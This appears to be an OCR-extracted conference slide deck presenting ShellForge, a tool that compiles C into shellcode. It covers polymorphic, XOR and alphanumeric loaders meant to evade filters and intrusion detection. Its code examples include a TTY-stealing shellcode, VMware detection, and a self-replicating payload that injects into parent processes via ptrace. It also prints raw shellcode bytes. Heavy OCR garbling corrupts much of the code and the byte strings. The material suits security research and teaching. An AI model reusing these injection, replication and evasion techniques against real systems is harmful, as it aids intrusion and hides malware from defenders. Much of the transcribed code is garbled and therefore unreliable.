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B Definition : shellcode (or egg)

» executable code that is used as a payload

» usually out of any structure (ELF, PE, ...)
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B Injection is easy (does not need any flaw)
» through an input (login, password)
» data read on disk
» environment variables

» shared memory

» Injected with ptrace () (or other debug mechanism)
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B Unix shellcoding principle :

» we can directly call some kernel functions (sytem call)
through special instructions :

» X86: int, 1lcall
© Sparc: ta
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Subtleties:

M injection via unclear channels
» str* () functions = \x00-free shellcodes

» text-only filters = alphanumeric shellcodes

M limited size injections

ARCHE — OMNETICA GROUP — Philippe Biondi



Shellcodes What ? Why ? | How | 7

Link with worms

M Ultra quick worms (Sapphire, Witty) are similar to shellcodes
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Some ways to make a shellcode:

B written directly in machine code with cat

M written in assembly language
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Stealth’s HellKit:

B Composed of

» C programs

» C header file with usual syscall macros and a dozen syscalls
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LSD’s UNIX Assembly Codes Development:
Assembly components for different architectures to

» Find socket’s file descriptor
» Open a socket

» Restore privileges (setuid (0) -like)

» chroot () escape
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Dave Aitel’s MOSDEF:

B C subset compiler and assembler, written in pure python
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Gera’s InlineEgg:

$ python
>>> 1mport 1inlineegqg

>>> egg = 1nlineegg.Inlinekgg(inlineegg.FreeBSDx86Syscall)
>>> egg.setuid(0)

"eax’

ARCHE — OMNETICA GROUP — Philippe Biondi



Generation | Zoom | Transformations 14

Gera’s InlinEgg: (a bit more advanced use)

uid = egg.getuid()

ry_—_7r

no_root = egg.If (uid, =7, 0)
no_root.write(l,’You are not root!\n’)
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Gera’s Magic Makefile: (extract) “I wanted to try this idea, because if
you want to write shellcode in C there’s no point in writing a new compiler,
because there are already plenty of good compilers out there”

o\°

o\

o\

o\°

.bin: %.c mkchars.py syscalls.h linker.ld

gcc —-04 -ffixed-ebx -nostdlib -nodefaultlibs -fPIC -o $Q@ $< -Wl,-T,linker.1d,

.chars.c: %.bin

python mkchars.py $(*F) < $< > $@

.chars: %.chars.c

gcc -o $Q@ $<

.bin: %.8S

cc -04 -o $Q@ $< -nostdlib -Xlinker -s -Xlinker --gc-sections -Wl,--oformat,bi

EM & INT!
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Source:
» C program
» No external library

» Direct use of system calls with macros

» Make global variables static to prevent gcc using GOT
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B Each syscall has a number :

#define = NR exit
#fdefine _ NR fork
#define _ NR read
fdefine @ NR write

#define _ NR_open

= DN
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B We use those kinds of macros :

#define _sfsyscalll (type,name, typel,argl) \
type name (typel argl) \
{ long __res; \

__asm__ volatile ("pushl %%ebx\n\t" \\
"mov %2, %$%ebx\n\t" \
"int $0x80\n\t" \
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Scrippie’s SMEGMA: Shellcode Mutation Engine for Generating
Mutated Assembly
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ADMmutate:

B Have your shellcode evades IDS :
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Rix’s ASC: IA32 Alphanumeric Shellcode Compiler
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B Shellcodes
» What ? Why ?
» How ?
» Links with viruses and worms

B Shellcode generation

» Different approaches
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ShellForge:
» ShellForge is a shellcode generator

» The shellcode is written in C and shellforge convert it in machine
code

» ShellForge is able to transform the ASM code before it is
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Supported architectures:
» i386

» ARM

» PA-RISC

» Sparc
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C
y compile/cross-compile

ASM

y modify
modified ASM
assemble y assemble
ELF object

v extract
Shellcode

A
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SFLib:

» Part of the ShellForge project

» Gathers syscall macros (every OS, every CPU) (not even a
library)
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Autogeneration
» One set of syscall prototypes for every architectures
» One SFLib prototype, syscall numbers and macros for each arch

» Foreach__ NR_foo, add foo () prototype into sf1ib.h

Syscall Prototypes
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Now, ready for :
» Linux/i386

» FreeBSD/i386
» OpenBSD/i386

» Linux/MIPS
» Linux/MIPSel
» MacOS/PowerPC
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SFLib: example

int main(void) {
write ("Hello!\n", 7);
exit (-1);
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Compilation:
B Can use a cross-compiler if necessary

B Select the headers from SFLib for the target OS/CPU

B Problem with some idioms (depending on CPU)

» Some idioms may make gcc emit some libc functions calls
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Compilation target:

B when possible

» use 1d binary target (-oformat binary)

» use a linker script (inspired from Gera’s magic Makefile):

SECTIONS {
/DISCARD/ : {
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Modifying ASM output: when previous trick does not work

M Dirty (a linker script would have done it):
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Shellcode transformations:

B The shellcode is transformed in another shellcode that
» does the same thing

» has a different shape
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Polymorphic engine :
M |deas
» Have a polymorphic decoder

» ASM is like PERL (There’s more than one way to do it)

» Easier to write a decoder in ASM than in machine code

M Application
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o [¢)

>>> code=MBlock ("push %s ; pop 5%s","mov %s,%s")

>>> regs=MBlock ("Seax", "Sebx", "secx")

>>> regs*regs

<MBlock (("%eax’, ’'%eax’), ("%Seax’, '"%ebx’), ('%eax’, '%ecx'

>>> regs”regs

<MBlock ((’"%eax’, ’'%ebx’), ("%seax’, '"'%ecx’), ('%ebx’, ’"'%eax'
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>>> for ¢ 1n code%(regs”regs): print c
push %eax ; pop S%Sebx
S . S
4
push %eax pop %ecx
push S$ebx ; pop %eax

push %ebx ; pop %ecx

push %ecx ; pop %eax
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Shellcode transformations: stack relocation (i386)

M Give a safe value to the stack pointer
» under the shellcode if we are in the stack

» does not change if we are elsewhere

M Only add a bit of code at the begining :
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Shellcode transformations: XOR loader (i386)

M Try to avoid one or more characters in a shellcode
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Shellcode transformations: (almost) alphanumeric loader (i386)

» Inspired from Rix’s phrack article (p57-0x0f)
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Shellcode presentation:
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Shellcode test:

M Test sequence

» Outputs the shellcode as a C program

ARCHE — OMNETICA GROUP — Philippe Biondi



ShellForge Overview | SFLib | Internals | 42

The one where the shellcode says Hello World! :

#define STR "Hello world!\n"
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Basic use:

S ./shellforge.py hello.c
\x55\x89\xeb5\x57\x56\x53\xe8\x00\x00\x00\x00\x5b\x81\xc3\xf5\xff\xff\xff\x83\xec
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Testing the shellcode: (no cross-compilation!)

ARCHE — OMNETICA GROUP — Philippe Biondi



ShellForge Overview | SFLib | Internals | 45

Use the XOR loader to prevent zero bytes

$ ./shellforge.py —--loader=xor hello.c
\xeb\x0d\x5e\x31\xcI9\xbl1\x66\x80\x36\x02\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff
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Use the (almost) alphanumeric loader: (we use raw output)

$ ./shellforge.py —-R —-loader=alpha hello.c
hAAAAXS5AAAAHPPPPPPPPah0B20X5Tc80Ph0504X5GZBXPh445AX5XXZaPhADOO0OX5wxxUPTYITI19h2000
X59knoPTYITII19h0000X50kBUPTYI19I19I19h000AX5000sPTY19TI19h0000X57ct5PTYI19I19TI190
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The same, on OpenBSD/x86:

$ /shellforge py ——arch—openbsd—1386 hello.c
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The same, on Linux/Sparc:

$ ./shellforge.py —-—-arch=linux-sparc hello.c
\x9d\xe3\xbf\x88\x07\x00\x00\x00\x40\x00\x00\x1b\xae\x00\x3f\xf8\x82\x10\xe0\x80
\xb4\x05\xc0\x01\xc2\x16\xa0\x0c\x92\x07\xbf\xe8\xf0\x1e\x80\x00\xc2\x37\xbf\xf4
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The same, on Linux/PA-RISC:

$ ./shellforge.py ——arch=linux-hppa hello.c
\xe8\x20\x00\x00\x6b\xc2\x3f\xd9\x37\xde\x01\x00\x34\x22\x00\xda\x6b\xc6\x3f\x31
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The same, on Linux/ARM:

$ ./shellforge.py —-—arch=linux-arm hello.c
x00\x44\x2d\xe9 \x x00\x9 X e x10\xal0\x4 X e Xx00\xc0O\x38a
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The same, on FreeBSD/i386, with C output:

S ./shellforge.py ——arch=freebsd-i386 -C hello.c

unsigned char shellcode[] =
"\x55\x89\xe5\x57\x56\x53\xe8\x00\x00\x00\x00\x5b\x81\xc3\xf5\xff\xff\xf£f\x83"
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The one where the shellcode scans 5000 TCP ports :

#define FIRST 1
#define LAST 5001
int main(void) {
struct sockaddr_in sa;
int s,1,1i;

char buf[1024];
sa.sin_family = PF_INET;
sa.sin_addr.s_addr = IP(127,0,0,1);
i=FIRST-1;
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The one where the shellcode scans 5000 TCP ports :
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The one where the shellcode steals a TTY :

int main(void)
{
int s,t,fromlen;
struct sockaddr_un sa, from;
char path[] = "/tmp/stolen_tty";

sa.sun_family = AF_UNIX;
for (s = 0; s < sizeof(path); s++)
sa.sun_path[s] = path[s];
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dup2(t, 0);
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The one where the shellcode detects VMware:

#define MAGIC 0x564d5868 /* "VMXh" */
#define PORT 0x5658 VATRAYS G
#define GETVERSION 0x0a

static char *versions|[] =

{"2?", "Express", "ESX Server","GSX Server","Workstation" };
static int vlen[] = {2,7,10,10,11};

static void segfault () {
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pop %$%ebx \n\
: "=a"(ok), "=m" (magic), "=c" (ver)
: "0" (MAGIC), "c" (GETVERSION), "d" (PORT)
) 7
if (magic == MAGIC) {
write(l, "VMware ", 7);
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The one where the shellcode detects VMware again:

int main(int argc, char *argv([])

{

int af4];
al0O]l=al[l]=al[2]=a[3]=0;
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The one where the shellcode detects VMware again:

» On a normal Linux:
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The one where the shellcode commands to its father:

#define STR "Hello world!\n"
#define LOADSZ 700

static int load(void)

{

__asm__ ("pusha");
write(1l,STR, sizeof (STR)) ;
__asm__ ("popa");
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/**** Change execution flow ****/
old_eip = regs.eip;
regs.eip = start;

if ( (regs.orig_eax >= 0) &&
(regs.eax == —-ERESTARTNOHAND | |
regs.eax == —-ERESTARTSYS ||
regs.eax == —-ERESTARTNOINTR) ) {

regs.eip += 2;
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Ghost in the shellcode
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Ghost in the shellcode

static char gen = 'A’;

static char digits[] = "0123456789";
static struct timespec slptime = {
.tv_sec = 0,

.tv_nsec = 900000000,
i

static int pnum = 0;

static int mode = 0;

#define PLEN 15

static int path[PLEN] = {0,1,2,3,4,5,6,7,

static int main(void)

{
int pid, old_eip,start,i, ok;

struct user_regs_struct regs;

asm__ ("pusha");

misc
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/*** exec the mission ***/
pid = getpid();
write(l,"Hi, I’'m gen [",13);
write(1l, &gen, 1) ;
write(1l,"] from pid [",12);
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/*** replicate ***/
ok = 0;
do {
if (mode == 0) {
pid = getppid();
if (ptrace (PTRACE_ATTACH, pid, NULL, NULL))
mode = 1;
else {
ok =1;
if (pnum < PLEN)
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waitpid(pid, 0, WUNTRACED) ;
ptrace (PTRACE_GETREGS, pid, NULL, &regs);
start = regs.esp-512-LOADSZ;
for (1=0; 1 < LOADSZ; i+=4)
ptrace (PTRACE_POKEDATA, pid, (void *) (start+i), (void *)*(int *) (((un

/*** Change execution flow ***/
old_eip = regs.eip;

regs.eip = start;
if ( (regs.orig_eax >= 0) &&
(regs.eax == —-ERESTARTNOHAND | |
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Ghost in the shellcode

$ ps

PID TTY TIME CMD
1990 pts/4 00:00:00 bash
1993 pts/4 00:00:00 bash
1996 pts/4 00:00:00 bash
1999 pts/4 00:00:00 bash
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Hi, I'm gen [G] from pid [01996]
Hi, I’m gen [H] from pid [01999]
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B Future work

» More tests
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That’s all folks. Thanks for your attention.

You can reach me at <phil@secdev.org>
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